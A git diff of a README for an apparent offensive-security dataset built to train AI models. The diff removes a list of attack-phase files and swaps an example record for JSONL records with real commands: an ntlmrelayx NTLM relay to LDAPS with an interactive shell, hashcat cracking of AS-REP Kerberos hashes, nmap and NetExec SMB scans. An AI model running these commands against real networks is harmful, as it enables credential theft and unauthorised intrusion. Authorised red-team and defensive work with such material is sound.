Update README.md

README.md

@@ -8,28 +8,6 @@ A comprehensive dataset for training, benchmarking, and documenting offensive/re
 - `datasets/schema/record.schema.json` — Canonical schema for dataset records.
 - `datasets/*.jsonl` — Task-specific datasets, each line is a JSON object.
 
-### Dataset Files
-
-- `discovery.jsonl` — Host/service/AD enumeration.
-- `initial_access.jsonl` — Phishing, exploitation, rogue device.
-- `privilege_escalation.jsonl` — Escalation, ACL/service attacks.
-- `credential_access.jsonl` — Dumping, cracking, relay, credential stores.
-- `lateral_movement.jsonl` — SMB, WinRM, Kerberos, cloud movement.
-- `persistence.jsonl` — Golden/silver tickets, scheduled tasks, backdoors.
-- `collection_exfil.jsonl` — Data staging, compression, exfiltration.
-- `c2.jsonl` — C2 infra, beacons, tunneling.
-- `impact.jsonl` — Ransomware, destruction, shadow copy removal.
-- `evasion.jsonl` — AV/EDR bypass, obfuscation, log tampering.
-- `cloud_hybrid.jsonl` — Azure, Entra ID, O365, hybrid pivots.
-- `tool_glossary.jsonl` — Tool descriptions, usage scenarios, command syntax.
-- `chain_operations_examples.jsonl` — Multi-step attack chains/playbooks.
-- `error_handling.jsonl` — Failure modes, fallbacks.
-- `advanced_techniques.jsonl` — Latest CVEs, novel chaining, new exploits.
-- `decision_matrix.jsonl` — When to use which technique; risk/noise comparisons.
-
-## Schema
-
-See [`datasets/schema/record.schema.json`](schema/record.schema.json) for full field list (instruction, input, output, meta).
 
 ## Usage
 
@@ -39,16 +17,8 @@ See [`datasets/schema/record.schema.json`](schema/record.schema.json) for full f
 ## Example Record
 
 ```json
-{
-  "instruction": "Describe lateral movement using PsExec.",
-  "input": "psexec.py <domain>/<user>:<password>@<target_ip>",
-  "output": "Executes commands on remote host via SMB using provided credentials.",
-  "meta": {
-    "phase": "lateral_movement",
-    "required_privilege": "admin on target",
-    "risk_level": "high",
-    "references": ["https://github.com/fortra/impacket"],
-    "year": "2024"
-  }
-}
+{"instruction": "Scan Network", "input": "nxc smb <ip_range>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
+{"instruction": "NTLM relay > To LDAP(S)", "input": "ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --interactive # connect to ldap_shell with nc 127.0.0.1 10111 #LDAP SHELL", "output": "Note or procedural step under 'NTLM relay > To LDAP(S)'."}
+{"instruction": "Scan Network", "input": "nmap -Pn -sC -sV -p- -oA <output> <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
+{"instruction": "Kerberos ASREP ($krb5asrep$23...)", "input": "hashcat -m 18200 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'Kerberos ASREP ($krb5asrep$23...)'."}
 ```